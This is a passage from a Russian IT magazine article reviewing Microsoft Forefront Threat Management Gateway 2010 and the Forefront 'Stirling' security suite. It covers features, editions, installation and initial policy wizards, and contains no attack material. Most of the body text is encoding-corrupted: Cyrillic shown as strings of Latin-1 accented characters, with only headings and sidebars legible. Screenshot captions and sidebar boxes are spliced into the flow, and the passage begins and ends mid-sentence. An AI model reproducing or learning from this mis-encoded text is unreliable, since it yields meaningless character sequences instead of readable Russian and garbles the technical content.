óïðàâëåíèÿ ïàðàìåòðàìè áåçîïàñíîñòè êîðïî-

ðàòèâíûõ ñåòåé, ñåðâåðîâ è ðàáî÷èõ ñòàíöèé. 

Â íàñòîÿùåå âðåìÿ â åå ñîñòàâ âõîäèò:
• Forefront Client Security (FCS, ðàíåå Microsoft 
Client Protection) — îáåñïå÷èâàåò çàùèòó 
ñåðâåðîâ, ðàáî÷èõ ñòàíöèé îò ðàçíîãî ðîäà 
óãðîç, âèðóñîâ, ïðîãðàìì-øïèîíîâ, ðóòêèòîâ 
è ïðî÷åãî âðåäîíîñíîãî êîäà ñ âîçìîæíîñòüþ 
ïðîñòîãî öåíòðàëèçîâàííîãî óïðàâëåíèÿ 
è ïîëó÷åíèÿ îò÷åòîâ. FCS èíòåãðèðóåòñÿ ñ 
ñóùåñòâóþùåé èíôðàñòðóêòóðîé ïðîãðàìì 
è äîïîëíÿåò äðóãèå òåõíîëîãèè áåçîïàñíîñòè 
Microsoft.
• Forefront Security for Exchange Server (ðàíåå 
Microsoft Antigen äëÿ Exchange, â äàëüíåéøåì 

Forefront Protection 2010 for Exchange Server) 
— çàùèùàåò ñðåäó îáìåíà ñîîáùåíèÿìè 
Exchange Server îò âèðóñîâ, ÷åðâåé, ñïàìà è 
íåäîïóñòèìîãî ñîäåðæèìîãî, äëÿ ýòèõ öåëåé â 
åãî ñîñòàâ âêëþ÷åíî íåñêîëüêî àíòèâèðóñíûõ 

ÿäåð;
• Forefront Online Security for Exchange (FOSE) 
— ÿâëÿåòñÿ «îáëà÷íûì» âàðèàíòîì ïðåäûäó-

ùåãî ïóíêòà, òî åñòü FOSE ïðåäîñòàâëÿåòñÿ êàê 
óñëóãà, ïîçâîëÿþùàÿ îáåñïå÷èòü çàùèòó ýëåê-
òðîííîé ïî÷òû êîìïàíèè è ñíèçèòü çàòðàòû íà 
ñîäåðæàíèå ñåðâåðîâ. Èíòåãðèðóåòñÿ ñ Active 
Directory è Exchange Server, õîòÿ â êà÷åñòâå 

ïî÷òîâîãî ñåðâåðà ìîæíî èñïîëüçîâàòü ëþáîé 
äðóãîé ñåðâåð.
• Forefront Security for Office Communications 

Server — îáåñïå÷èâàåò çàùèòó ñèñòåìû 
ìãíîâåííûõ ñîîáùåíèé, ïðåäîñòàâëÿåìóþ 

ýòèì ñåðâåðîì, ïðîâåðÿÿ òðàôèê íåñêîëüêèìè 
àíòèâèðóñàìè è áëîêèðóÿ ìåññàäæè ñ ïîäîçðè-
òåëüíûì ñîäåðæèìûì;
- Forefront Security for SharePoint (ðàíåå 
Antigen äëÿ SharePoint, â äàëüíåéøåì Forefront 
Protection for SharePoint) — àíòèâèðóñíàÿ 
çàùèòà õðàíèëèù äîêóìåíòîâ (â ðåàëüíîì 
âðåìåíè è ïî ðàñïèñàíèþ), ðåàëèçóåìûõ 
ïðè ïîìîùè ñåðâèñà SharePoint, ïðèìåíåíèå 
ïîëèòèê êîìïàíèè ê ñîäåðæèìîìó, òèïàì è 
ðàñøèðåíèÿì ôàéëîâ;
• Forefront Unified Access Gateway (UAG, ðàíåå 
Intelligent Application Gateway — IAG 2007) — 
øëþç óäàëåííîãî (âõîäÿùåãî) äîñòóïà (à íå 

çàùèòû) ê ïðèëîæåíèÿì, ïîçâîëÿþùèé êîí-
òðîëèðîâàòü è óïðàâëÿòü äîñòóïîì ê ñåòåâûì 
ñëóæáàì «èç âíå», ÷åðåç åäèíóþ òî÷êó âõîäà;

• Forefront Identity Manager (FIM, ðàíåå Identity 
Lifecycle Manager) — óñîâåðøåíñòâîâàííàÿ 
ïëàòôîðìà óïðàâëåíèÿ èäåíòèôèêàöèîííîé 
èíôîðìàöèåé íà áàçå âåá-ñåðâèñîâ, â êîòîðîé 
èñïîëüçóþòñÿ ãèáêèå ñðåäñòâà äåëåãèðîâàíèÿ 

ïîëíîìî÷èé íà îñíîâå ïîëèòèê, ÷òî â èòîãå 
ïîçâîëÿåò ïîâûñèòü áåçîïàñíîñòü è óïðàâëÿå-
ìîñòü êîðïîðàòèâíûõ ñðåä;

• Forefront Threat Management Gateway 
(ãëàâíûé ãåðîé íàøåé ñòàòüè) — çàùèòà îò 
èíòåðíåò óãðîç, ôèëüòðàöèÿ òðàôèêà, IDS/IPS, 
êîíòåíòíàÿ ôèëüòðàöèÿ.
Ðàíåå Microsoft ïðåäëàãàëà íåñêîëüêî ðà-

çîáùåííûõ ïðîäóêòîâ, êàæäûé èõ êîòîðûõ 

Forefront TMG: наследник ISA Server с еще 
большим функционалом
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çàùèùàë ñâîé ó÷àñòîê, èìåë ñâîþ êîíñîëü óïðàâëåíèÿ è ñèñòåìó 
îò÷åòîâ. Òàêèå ñèñòåìû çàùèòû ïëîõî ìàñøòàáèðóþòñÿ, èìè íåóäîáíî 
óïðàâëÿòü. Ñåãîäíÿ âìåñòî ýòîãî ñïåöèàëèñòàì ïðåäîñòàâëÿåòñÿ êîì-
ïëåêñíîå ðåøåíèå, êîòîðîå ðàáîòàåò ñ îáùåé áàçîé íàñòðîåê, èíôîð-
ìàöèåé îá óãðîçàõ, óïðàâëÿåòñÿ èç åäèíîé êîíñîëè, è êîòîðîå ìîæíî 
ëåãêî ïîäñòðîèòü ïîä êîíêðåòíûå íóæäû.

ВОЗМОЖНОСТИ FOREFRONT TMG Îñíîâíûì êîìïîíåíòîì Forefront 
TMG (íà ìîìåíò íàïèñàíèÿ ñòàòüè áûëà äîñòóïíà âåðñèÿ 2010 Release 
Candidate) ÿâëÿåòñÿ ìåæñåòåâîé ýêðàí, êîòîðûé êîíòðîëèðóåò âõîäÿ-
ùèé è èñõîäÿùèé òðàôèê â ñîîòâåòñòâèè ñ óñòàíîâëåííûìè ïîëèòè-
êàìè. Ýòîò êîìïîíåíò «äîñòàëñÿ» ïî íàñëåäñòâó îò ISA Server. Ñðåäè 
íîâèíîê ìîæíî îòìåòèòü óëó÷øåííóþ ïîääåðæêó NAT (íàïðèìåð, 
òåïåðü íåò ïðîáëåì â ñëó÷àå, åñëè âíåøíèé èíòåðôåéñ èìååò íåñêîëüêî 
IP-àäðåñîâ), ôóíêöèþ óïðàâëåíèÿ ðåçåðâíûìè èíòåðíåò-êàíàëàìè (ISP 
Redundancy, òîëüêî äëÿ èñõîäÿùåãî òðàôèêà), ïîÿâëåíèå â íàñòðîéêàõ 

firewall âêëàäêè VoIP, ãäå ïðîèçâîäèòñÿ íàñòðîéêà çàùèòû è ïîääåðæêè 
VoIP ñåðâèñà (VoIP traversal).
Ôóíêöèþ IDS/IPS âûïîëíÿåò êîìïîíåíò Network Inspection System 

(NIS, Ñëóæáà ïðîâåðêè ñåòè), ãëàâíûì îòëè÷èåì êîòîðîãî îò ïîäîáíûõ 
ðåøåíèé ÿâëÿåòñÿ êîíòðîëü íàä ïîïûòêàìè èñïîëüçîâàíèÿ èçâåñò-
íûõ óÿçâèìîñòåé, îáíàðóæåííûõ â çàùèùàåìûõ ñèñòåìàõ, à íå ïîèñê 
ñèãíàòóð ýêñïëîèòîâ. Òàêîé ïîäõîä ïîçâîëÿåò çàêðûòü áðåøü â ïåðèîä 
îáíàðóæåíèÿ óÿçâèìîñòè äî âûõîäà óñòðàíÿþùåãî åå ïàò÷à. Îñíîâîé 

NIS ñëóæèò GAPA (Generic Application-Level Protocol Analyzer), îáåñïå÷è-
âàþùèé áûñòðûé íèçêîóðîâíåâûé ïîèñê äàííûõ. Êðîìå ñèãíàòóðíîãî 
àíàëèçà, â NIS çàëîæåí ïîâåäåí÷åñêèé àíàëèçàòîð (Security Assessment 

and response, SAS), ñïîñîáíûé îïðåäåëÿòü âòîðæåíèÿ íà îñíîâå ïîâåäå-
íèÿ (Behavioral Intrusion Detection).
Íèêóäà íå èñ÷åçëà âîçìîæíîñòü ïðåäîñòàâëåíèÿ áåçîïàñíîãî äîñòóïà 
ê ðåñóðñàì èíòåðíåò è êîíòðîëÿ çà òðàôèêîì (Web Client Protection). 
Çäåñü îòìå÷àåì ïîÿâëåíèå â ñïèñêàõ ïðîòîêîëà SSTP (Secure Socket 

Tunneling Protocol, ïîäðîáíåå î íåì ÷èòàé â ñòàòüå «Ñëîåíûé VPN» àâ-

ãóñòîâñêîãî íîìåðà z çà 2008 ãîä), ïîääåðæêà êîòîðîãî áûëà âïåðâûå 
ðåàëèçîâàíà â Vista SP1 è Win2k8.
TMG ïðîâåðÿåò HTTP è HTTPS (÷åãî íå áûëî ðàíåå, ïðè ýòîì TMG âû-
ñòóïàåò êàê ïîñðåäíèê) òðàôèê íà íàëè÷èå âðåäîíîñíîãî ÏÎ, èñïîëü-
çóÿ òå æå ìåõàíèçìû çàùèòû, ÷òî è Forefront Client Security è Windows 
Defender. Àäìèíèñòðàòîð ìîæåò óêàçàòü óçëû, äëÿ êîòîðûõ íå ñëåäóåò 
ïðîèçâîäèòü ïðîâåðêó, ìàêñèìàëüíûé ðàçìåð ñêà÷èâàåìîãî ôàéëà, 

ïðè ïðåâûøåíèè êîòîðîãî çàãðóçêà áóäåò áëîêèðîâàíà, ðàçðåøåííûå 
òèïû ôàéëîâ. Åùå îäíà íîâèíêà â ýòîì ðàçäåëå — âîçìîæíîñòü URL 

ôèëüòðàöèè, êîòîðàÿ äàåò âîçìîæíîñòü êîíòðîëèðîâàòü äîñòóï ê îïðå-
äåëåííûì âåá-ðåñóðñàì, îñíîâûâàÿñü íà 80-òè êàòåãîðèÿõ. Ñïèñîê âîç-

ìîæíûõ êàòåãîðèé è èõ ñîñòàâ äèíàìè÷åñêè îáíîâëÿåòñÿ ïî ïîäïèñêå.
Â TMG èíòåãðèðîâàí SMTP ïðîêñè, îáåñïå÷èâàþùèé ôóíêöèè 

çàùèòû îò âèðóñîâ, ñïàìà è ïðî÷èõ óãðîç, ðàñïðîñòðàíÿåìûõ ïî 
e-mail. Ïðè÷åì ïî÷òîâûé òðàôèê ìîãóò ñêàíèðîâàòü äî 5 ïðî-
ãðàìì, áîëüøàÿ ÷àñòü ôóíêöèé ïî ôèëüòðàöèè ðåàëèçîâàíà çà 
ñ÷åò èíòåãðàöèè ñ Exchange Server 2007 Edge. Â ïîëèòèêàõ (E-Mail 
policy) àäìèíèñòðàòîð ìîæåò çàäàâàòü ðàñøèðåíèÿ, øàáëîíû 

èìåíè, MIME òèïû ôàéëîâ, êîòîðûå áóäóò áëîêèðîâàòüñÿ ïðè ïå-
ðåñûëêå. Òàêæå TMG ìîæåò ïðîñìàòðèâàòü ñîîáùåíèÿ íà íàëè÷èå 
îïðåäåëåííûõ ôðàç âî âõîäÿùèõ è èñõîäÿùèõ ñîîáùåíèÿõ, çàòåì 

íà îñíîâå ïîëèòèê òàêèå ïèñüìà ìîãóò áûòü óäàëåíû ñ îòïðàâêîé 
óâåäîìëåíèÿ àäìèíó.
TMG ïîääåðæèâàåò Win2k8R2, ìîæåò èíòåãðèðîâàòüñÿ ñ Exchange 2007 
SP1 èëè ãðÿäóùèì Exchange 2010. Ïåðâûå âåðñèè TMG íåëüçÿ áûëî 
ðàçâåðíóòü â ðàáî÷åé ãðóïïå (òîëüêî â äîìåííîé ñðåäå), ÷òî ñíèæàëî 

îáëàñòü ïðèìåíåíèÿ ïðîäóêòà. Òåïåðü òàêàÿ âîçìîæíîñòü èìååòñÿ, õîòÿ 
â ýòîì ñëó÷àå ïðèäåòñÿ ïîòðàòèòü íåêîòîðîå âðåìÿ íà ýôôåêòèâíóþ 
íàñòðîéêó ëîêàëüíîé SAM áàçû (Security Accounts Manager). Â ðåæèìå 

ðàáî÷åé ãðóïïû âîçìîæíà àóòåíòèôèêàöèÿ ñðåäñòâàìè RADIUS èëè 
SecurID ñåðâåðà.
Ïåðå÷èñëþ íåñêîëüêî âàæíûõ ìîìåíòîâ êàñàòåëüíî IPv6, êîòîðûå 
ñëåäóåò ó÷åñòü ïðè ðàçâåðòûâàíèè TMG:
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• áóäåò áëîêèðîâàí âåñü IPv6 òðàôèê;
• ïðîòîêîë ISATAP (Intra-Site Automatic Tunnel Addressing 
Protocol) è 6to4 èíòåðôåéñ, èíêàïñóëèðóþùèå ïàêåòû IPv6 
â IPv4, áóäóò îòêëþ÷åíû;
• ïðè ðåñòàðòå áóäåò îáíîâëÿòüñÿ òîëüêî «A» DNS çàïèñü 
äëÿ ñåðâåðà, íî íå «AAAA»;
• áóäóò î÷èùåíû êýøè DNS, ARP è Neighborhood Discovery 
(IPv6 âåðñèÿ ARP).
Äà, ïðîòîêîë IPv6 TMG íå ïîääåðæèâàåò â ïîëíîé ìåðå, 
íî ðàáîòàòü ñ íèì óìååò. Òàêæå âîçìîæíî ðàçâåðòûâàíèå 
DirectAccess (êîòîðûé, êñòàòè, çàâÿçàí íà IPv6/IPsec) è 
TMG íà îäíîé ñèñòåìå. Õîòÿ ýòî ïîòðåáóåò ïëÿñîê ñ áóáíîì, 
òàê êàê ïðè óñòàíîâëåííîé ðîëè DirectAccess íåêîòîðûå 
ìàñòåðà TMG îòêàçûâàþòñÿ ðàáîòàòü, òàê êàê íå ìîãóò 
îïðåäåëèòü íàñòðîéêè ñåòè.
Ïîñòàâëÿåòñÿ TMG â äâóõ âåðñèÿõ: Enterprise è Standard 
Edition, õîòÿ ïåðâîíà÷àëüíî òàêîå ðàçäåëåíèå íå ïëà-
íèðîâàëîñü. Îñíîâíûõ ïðåèìóùåñòâ Enterprise ïåðåä 
Standart äâà. Ýòî ñíÿòèå ëèìèòà íà êîëè÷åñòâî CPU (â 
Standart äî 4) è ðàáîòà â ìàññèâå TMG, óïðàâëÿåìîì 
Enterprise Management Server (Ñåðâåð óïðàâëåíèÿ 
ïðåäïðèÿòèåì) ñ ïîääåðæêîé «Stirling». Íàñòðîéêè 
â ýòîì ñëó÷àå õðàíÿòñÿ öåíòðàëèçîâàííî íà ñåðâåðå 
Configuration Storage Server. ×òîáû ïðîàïãðåéäèòü 
Standart äî Enterprise, íåîáõîäèìî óñòàíîâèòü íîâûé 
ëèöåíçèîííûé êëþ÷: Forefront TMG Management console 
— System node — âûáèðàåì ñåðâåð è â êîíòåêñòíîì 
ìåíþ Properties — Upgrade to Enterprise Edition ââîäèì 
íîâûé êëþ÷.

Òàêæå ñëåäóåò îòìåòèòü íàëè÷èå íåñêîëüêî óðåçàííîé 
âåðñèè Forefront TMG Medium Business Edition (MBE) äëÿ 
Essential Business Server (ESB). Ýòî ðåøåíèå ïðåäíàçíà÷åíî 
äëÿ çàùèòû ñåòåé íåáîëüøèõ è ñðåäíèõ ðàçìåðîâ (äî 300 
ðàáî÷èõ ñòàíöèé). Â íåì îòñóòñòâóåò Network Inspection 

System, íå ðåàëèçîâàíà âîçìîæíîñòü ïðîâåðêè çàùèùåí-
íîãî HTTPS òðàôèêà è çàùèòû e-mail, íå ïðåäóñìîòðåíî 
èñïîëüçîâàíèå áàëàíñèðîâêè íàãðóçêè è ñîçäàíèå îòêàçî-

óñòîé÷èâûõ êëàñòåðîâ, îí íå èíòåãðèðóåòñÿ ñ ïðîäóêòàìè 
ñåìåéñòâà «Stirling». TMG MBE äîñòóïåí êàê â ñîñòàâå ESB, 
òàê è êàê ñàìîñòîÿòåëüíîå ðåøåíèå. Âîçìîæíà óñòàíîâêà 
íà 32-õ áèòíóþ ñèñòåìó.

УСТАНОВКА FOREFRONT TMG Äëÿ óñòàíîâêè Forefront 
TMG ïîíàäîáèòñÿ ñåðâåð ñ x64 CPU (32-õ ðàçðÿäíûå CPU íå 
ïîääåðæèâàþòñÿ) è 2 Ãá ÎÇÓ, ðàáîòàþùèé ïîä óïðàâëåíè-

åì x64-âåðñèè Win2k8/2k8R2, à òàêæå 2.5 Ãá ìåñòà íà õàðäå 
(ðàçäåë äîëæåí áûòü îòôîðìàòèðîâàí â NTFS). Ñðåäè òðå-

áîâàíèé åñòü åùå Microsoft SQL Server 2005 Express Edition 
(MSEE), íî îí áóäåò óñòàíîâëåí àâòîìàòè÷åñêè, ïîýòîìó íå 
íóæíî îòäåëüíî åãî ñêà÷èâàòü.
Âîçìîæíî íåñêîëüêî âàðèàíòîâ èñïîëüçîâàíèÿ øëþçà 
TMG. Îí ìîæåò ñòîÿòü íà ãðàíèöå çîíû, ýòî êëàññè÷åñ-
êèé âàðèàíò, êîãäà ñ îäíîé ñòîðîíû ïîäêëþ÷åí èíòåð-
íåò, ñ äðóãîé — âíóòðåííÿÿ ñåòü (òðåáóåòñÿ íàëè÷èå 
äâóõ ñåòåâûõ àäàïòåðîâ). Ðàçâèòèåì ýòîãî âàðèàíòà 
ÿâëÿåòñÿ âûâîä DMZ íà îòäåëüíûé ñåòåâîé èíòåðôåéñ. Â 
äîêóìåíòàöèè åùå îïèñàí âàðèàíò Back Firewall, êîãäà 
TMG âûñòóïàåò êàê âòîðîé áðàíäìàóýð, ðàçìåùåííûé 
çà àïïàðàòíûì ðåøåíèåì (íàïðèìåð, øëþç ñ ôóíê-
öèÿìè ôèëüòðàöèè). È íàêîíåö, âîçìîæíà ðàáîòà íà 
ñåðâåðå ñ îäíèì ñåòåâûì èíòåðôåéñîì. Â ýòîì ñëó÷àå 
TMG áóäåò âûñòóïàòü ïðîñòî êàê êýøèðóþùèé ïðîêñè-
ñåðâåð ñ âîçìîæíîñòÿìè ïî àóòåíòèôèêàöèè ïîëüçîâà-
òåëåé â Active Directory, ôèëüòðàöèè URL è áëîêèðîâêè 
êîíòåíòà. Ó÷èòûâàÿ, ÷òî TMG óñòàíàâëèâàåòñÿ íà âõîäå 
ñåòè, âïîëíå ëîãè÷íî, ÷òî ñåðâåð íå äîëæåí áûòü êîíò-
ðîëëåðîì äîìåíà. Åñëè ïðè ðàçâåðòûâàíèè íà ñåðâåðå 
áóäåò íàéäåíà ðîëü «Active Directory Domain Services» 
(äàæå áåç ïîñëåäóþùåãî çàïóñêà dcpromo), óñòàíîâêà 
ïðåêðàòèòñÿ áåç îáúÿñíåíèé. Òåïåðü ðàññìîòðèì ïðî-
öåññ óñòàíîâêè Forefront TMG íà Win2k8R2.
Çàïóñêàåì èíñòàëëÿöèîííûé ïàêåò, ñêà÷åííûé ñ ñàéòà 
Microsoft, è ùåëêàåì ïî ïóíêòó «Setup Preparation Tool». 
Ñëåäóÿ ïîäñêàçêàì ýòîãî èíñòðóìåíòàëüíîãî ñðåäñòâà, 
óñòàíàâëèâàåì âñå ðîëè è êîìïîíåíòû, íåîáõîäèìûå äëÿ 
ðàáîòû Forefront TMG. Íà âòîðîì øàãå «Installation Type» 
íóæíî îïðåäåëèòüñÿ ñ âàðèàíòîì óñòàíîâêè. Ïî óìîë÷à-

íèþ ïðåäëàãàåòñÿ «Install Forefront Threat Management 
Gateway services», ïðè êîòîðîì áóäåò óñòàíîâëåí ñîáñ-
òâåííî TMG è êîíñîëü óïðàâëåíèÿ. Äðóãèå âàðèàíòû 

ïîçâîëÿþò èíñòàëëèðîâàòü òîëüêî êîíñîëü óïðàâëåíèÿ 
Forefront TMG Management èëè êîíñîëü óïðàâëåíèÿ 
ìàññèâàìè TMG. Ïî îêîí÷àíèè ðàáîòû «Preparation 
Tool» â ñèñòåìå ïîÿâÿòñÿ ðîëè: «Network Policy and Access 
Services», «Web Server (IIS)», êîìïîíåíò .Net Framework 

3.5 è MSEE. Åñëè íå ñíèìàòü íà ïîñëåäíåì øàãå ôëàæîê 
«Launch Microsoft Forefront TMG Setup», ïî îêîí÷àíèè 
ðàáîòû «Setup Preparation Tool» çàïóñòèòñÿ ìàñòåð óñòà-

íîâêè TMG. Íè÷åãî ñëîæíîãî îí ñîáîé íå ïðåäñòàâëÿåò — 
ïîäòâåðæäàåì ëèöåíçèþ, ââîäèì íàçâàíèå îðãàíèçàöèè 
è ñåðèéíûé íîìåð, çàòåì ïàðàìåòðû âíóòðåííåé ñåòè. Â 
ïîñëåäíåì ñëó÷àå ìîæíî âûáðàòü ñåòåâîé àäàïòåð, ââåñòè 
àäðåñ ñåòè èëè äèàïàçîí IP-àäðåñîâ. Ïî çàâåðøåíèè ýòîãî 

ýòàïà ñåðâåð ëó÷øå ïåðåçàãðóçèòü.

МАСТЕР ПОДКЛЮЧЕНИЯ К УДАЛЕННОЙ 
СИСТЕМЕВЫБОР ТИПА УСТАНОВКИ FOREFRONT TMG

info
• Forefront «Stirling» 
— комплексное реше-
ние, предназначен-
ное для всесторон -
ней защиты и центра -
лизованного управ-
ления параметрами 
безопасности кор-
поративных сетей, 
серверов и рабочих 
станций.

• Основой системы 
отчетов Forefront 
«Stirling» является 
MS SQL Server 2008 
Reporting Services, 
механизм отчетов 
способен удовлетво-
рить запросы боль-
шинства админов.

• Перед началом 
установки Forefront 
TMG следует обно-
вить систему при 
помощи Windows 
Update: Control 
Panel — System and 
Security.

• Антивирусные, ан-
тиспам обновления, 
сигнатуры NIS, URL 
Filtering доступны по 
платной подписке.

• Об ISA Server читай 
в статье «Надежный 
сторож сети», опуб-
ликованной 
в майском номере 
z за 2007 год.

• Подробнее о SSTP 
и настройке сервера 
сертификатов читай 
в статье «Слоеный 
VPN» августовского 
номера z за 2008 
год.

• Forefront TMG не 
поддерживает про-
токол IPv6 в полной 
мере, но работать с 
ним умеет.

INFO
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НАСТРОЙКИ TMG Ïîñëå óñòàíîâêè TMG â ìåíþ îáíàðó-
æèì êîíñîëü óïðàâëåíèÿ «Forefront TMG Management» è 
ìîíèòîð ïðîèçâîäèòåëüíîñòè «Forefront TMG Perfomance 
Monitor». Ïî óìîë÷àíèþ êîíñîëü ïîäêëþ÷àåòñÿ ê ëî-
êàëüíîìó ñåðâåðó, íî âðÿä ëè àäìèí áóäåò ðàáîòàòü èç 
ñåðâåðíîé. ×òîáû ïîäêëþ÷èòüñÿ ê óäàëåííîìó ñåðâåðó 
ñ óñòàíîâëåííûì TMG, âûáèðàåì â êîíòåêñòíîì ìåíþ 
ïóíêò «Connect» è, ñëåäóÿ óêàçàíèÿì «Configuration Storage 
Server Connection Wizard», îòìå÷àåì ëîêàëüíóþ ñèñòåìó, 
îòäåëüíûé ñåðâåð èëè ïîäêëþ÷åíèå ê ìàññèâó TMG.
Íàñòðîåê â êîíñîëè áîëåå ÷åì ïðåäîñòàòî÷íî. Ñïàñàåò 
ïðîäóìàííûé èíòåðôåéñ, êîòîðûé ñóùåñòâåííî ïåðå-
ðàáîòàí â ñòîðîíó óëó÷øåíèÿ þçàáèëèòè. Âñå íàñòðîé-
êè ñãðóïïèðîâàíû â 12 ìåíþ, â êàæäîì ïðîèçâîäÿòñÿ 
óñòàíîâêè ñïåöèôè÷åñêèõ ïîëèòèê: Firewall, WebAccess, 
E-mail, IPS è òàê äàëåå. Íåêîòîðûå ïóíêòû ïîçâîëÿþò 
ïîëó÷èòü äîñòóï ê ôóíêöèÿì ìîíèòîðèíãà, îò÷åòîâ è îá-
íîâëåíèé. È â êàêîé ïóíêò íå çàéäè, âåçäå òåáÿ âñòðåòèò 
ïîøàãîâûé ìàñòåð.
Ïðè ïåðâîì çàïóñêå êîíñîëè àêòèâèðóåòñÿ «Getting Started 
Wizard», êîòîðûé ïî ñóòè îòêðûâàåò äîñòóï ê òðåì äðóãèì 
âèçàðäàì: Network, System Configuration è Deployment. Íå-
êîòîðûå íàñòðîéêè áóäóò âçÿòû èç ñèñòåìíûõ óñòàíîâîê, 
ïðè íåîáõîäèìîñòè èõ óòî÷íÿåì.
Â ñàìîì íà÷àëå ðàáîòû ìàñòåðà ñåòåâûõ íàñòðîåê áóäåò 
ïðåäëîæåíî âûáðàòü øàáëîí ñåòè (Network Template), ñî-
îòâåòñòâóþùèé òåêóùåìó ïðèìåíåíèþ TMG: Edge firewall, 
3-Leg Perimeter, Back firewall, Single network adapter. Ïðè 
âûáîðå êàæäîãî ïóíêòà áóäåò ïîêàçàíà ñõåìà ñåòè, ïîýòîìó 

â íàçíà÷åíèè øàáëîíîâ ëåãêî ðàçîáðàòüñÿ. Ïî óìîë÷àíèþ 
ïðåäëàãàåòñÿ «Edge firewall», êîòîðûé ñîîòâåòñòâóåò «ñòàí-
äàðòíîìó» ðåæèìó èñïîëüçîâàíèÿ, êîãäà ñ îäíîé ñòîðîíû 

ïîäêëþ÷àåòñÿ èíòåðíåò, ñ äðóãîé — ëîêàëüíàÿ ñåòü. Åãî è 
îñòàâëÿåì, óêàçûâàåì LAN è WAN èíòåðôåéñû. Íàñòðîéêè 

ñèñòåìû çàêëþ÷àþòñÿ â óòî÷íåíèè ïðèíàäëåæíîñòè ê 
äîìåíó èëè ðàáî÷åé ãðóïïå, à òàêæå ââîäó DNS ñóôôèêñà. 
Â áîëüøèíñòâå ñëó÷àåâ çäåñü íóæíî îñòàâèòü âñå, êàê åñòü. 
Â Deployment Wizard óêàçûâàþòñÿ ïàðàìåòðû «Windows 
Update». Äàëåå àêòèâèðóåì ëèöåíçèè NIS, Web- è Email 
Protection è íà ñëåäóþùèõ ýòàïàõ ðàáîòû ìàñòåðà çàäàåì 
ïîðÿäîê îáíîâëåíèÿ ñîîòâåòñòâóþùèõ ñèãíàòóð. Óñòàíîâ-
ëåííûé â ïîñëåäíåì îêíå ôëàæîê «Run Web Access Wizard» 
ïîçâîëÿåò ñðàçó çàïóñòèòü ìàñòåð íàñòðîéêè âåá-äîñòóïà, 
íî ñ ýòèì ïîêà ìîæíî íå ñïåøèòü.
Âûáèðàåì â ìåíþ êîíñîëè ñâîé ñåðâåð. Â ñðåäíåì îêíå 
ïîÿâèòñÿ îêíî «Roles Configuration», â íåì äàíû ññûëêè íà 
5 çàäà÷: äîñòóï âíóòðåííèõ ïîëüçîâàòåëåé ê âåá-ñàéòàì 
(Web Access Policy), ïîëèòèêè E-mail, íàñòðîéêà NIS, ïóá-
ëèêàöèÿ âíóòðåííèõ ðåñóðñîâ äëÿ ïðåäîñòàâëåíèÿ äîñòóïà 
«èç âíå», àêòèâàöèÿ è íàñòðîéêà äîñòóïà ê VPN. Êîíå÷íî, 
ýòî íå âñå çàäà÷è ïî îáåñïå÷åíèþ ïîëíîöåííîé çàùèòû 
è ðàáîòû ñåðâèñîâ, êîíêðåòíûé ñïèñîê äëÿ êàæäîé ñåòè 
àäìèí óæå ñîñòàâëÿåò ñàì. Ïîñëå ðàáîòû «Started Wizard» 
áóäåò àêòèâèðîâàíà NIS, è óñòàíîâëåíû áëîêèðóþùèå 
ïðàâèëà â Firewall è Web Access. Ñîîòâåòñòâåííî, âûéòè â 
èíòåðíåò, ïîëó÷àòü è îòïðàâëÿòü ïî÷òó íå ïîëó÷èòñÿ, òàêæå 
áóäåò çàêðûò äîñòóï ê âíóòðåííèì ðåñóðñàì «èçâíå», ïîýòî-
ìó ïîñëåäîâàòåëüíî ïåðåáèðàåì êàæäûé øàã è íàñòðàèâà-
åì ïîëèòèêó äîñòóïà.

НАСТРОЙКА ПОЛИТИК ВЕБ-ДОСТУПА И ИСПОЛЬЗО-
ВАНИЯ E-MAIL Äëÿ ïðèìåðà ðàññìîòðèì íàñòðîéêè ïî 
îáåñïå÷åíèþ âåá-äîñòóïà è ðàáîòû ýëåêòðîííîé ïî÷òû. 
Ïåðåõîäèì âî âêëàäêó «Web Access Policy» è âûáèðàåì â 

ïîëå «Task» ññûëêó «Configure Web Access Policy», çàïóñ-
òèòñÿ ìàñòåð íàñòðîåê. Îïðåäåëÿåìñÿ, áóäåì ëè èñïîëü-
çîâàòü áëîêèðîâêó âåá-ðåñóðñîâ ïî êàòåãîðèÿì. Åñëè 

îòìåòèòü «Yes, create a rule blocking ...», òî íà ñëåäóþùåì 

МАСТЕР НАЧАЛЬНОЙ НАСТРОЙКИ 
FOREFRONT TMG КОНСОЛЬ УПРАВЛЕНИЯ FOREFRONT TMG

• Страница проекта 
«Stirling» — www.
microsoft.com/
forefront/stirling.

• Страница TechNet, 
посвященная 
Forefront — technet.
microsoft.com/en-us/
library/cc901531.aspx.

links

HTTP://WWW

В видеоролике мы 
покажем, как уста-
новить и настроить 
Forefront TMG, 
познакомимся 
с консолью управле-
ния и работой некото-
рых мастеров.

dvd

DVD

TMG vs UAG
Forefront TMG è UAG âõîäÿò â ãðóïïó Forefront Edge Security and Access, â êîòîðîé ïðåäñòàâëåíû ðåøåíèÿ, îáåñïå÷èâàþ-
ùèå çàùèòó ïåðèìåòðà è äîñòóï ê âíóòðåííåé ñåòè, íî íàçíà÷åíèå ó íèõ ñîâåðøåííî ðàçíîå. Ó TMG ãëàâíîå íàçíà÷åíèå 

— ýòî çàùèòà âíóòðåííåãî ïåðèìåòðà, UAG — îáåñïå÷åíèå áåçîïàñíîãî äîñòóïà ê ñåðâèñàì «èçâíå». Õîòÿ â TMG ðåàëèçî-
âàíà âîçìîæíîñòü îðãàíèçàöèè äîñòóïà êî âíóòðåííèì ðåñóðñàì ïîñðåäñòâîì VPN è ïóáëèêàöèè âíóòðåííèõ ñåðâèñîâ 
(Secure Web Publishing), íî UAG â ýòîì ïëàíå îáåñïå÷èâàåò áîëüøèå âîçìîæíîñòè è ãèáêîñòü.
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info
• Forefront TMG 
нельзя устанавливать 
на сервер, выпол-
няющий функции 
контроллера домена.

• После установки 
Forefront TMG все 
сетевые соединения 
блокируются.

WARNING
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øàãå íóæíî óêàçàòü êàòåãîðèè ðåñóðñîâ, 

êîòîðûå áóäóò áëîêèðîâàòüñÿ. Â ñïèñêå óæå 
åñòü ñ äåñÿòîê êàòåãîðèé, ÷òîáû äîáàâèòü íî-
âóþ êàòåãîðèþ â ñïèñîê, íàæèìàåì êíîïêó 
«Add» è îòìå÷àåì â ïîÿâèâøåìñÿ îêíå âñå 
íåîáõîäèìîå. Ñëåäóþùèé øàã ìàñòåðà — 

«Malware Inspection Setting», çäåñü âûáèðàåì, 
áóäåì ëè ïðîâåðÿòü HTTP òðàôèê íà íàëè÷èå 
âðåäîíîñíîãî êîäà. Äîïîëíèòåëüíûé ôëà-

æîê «Block encrypted archives» ðàçðåøàåò 
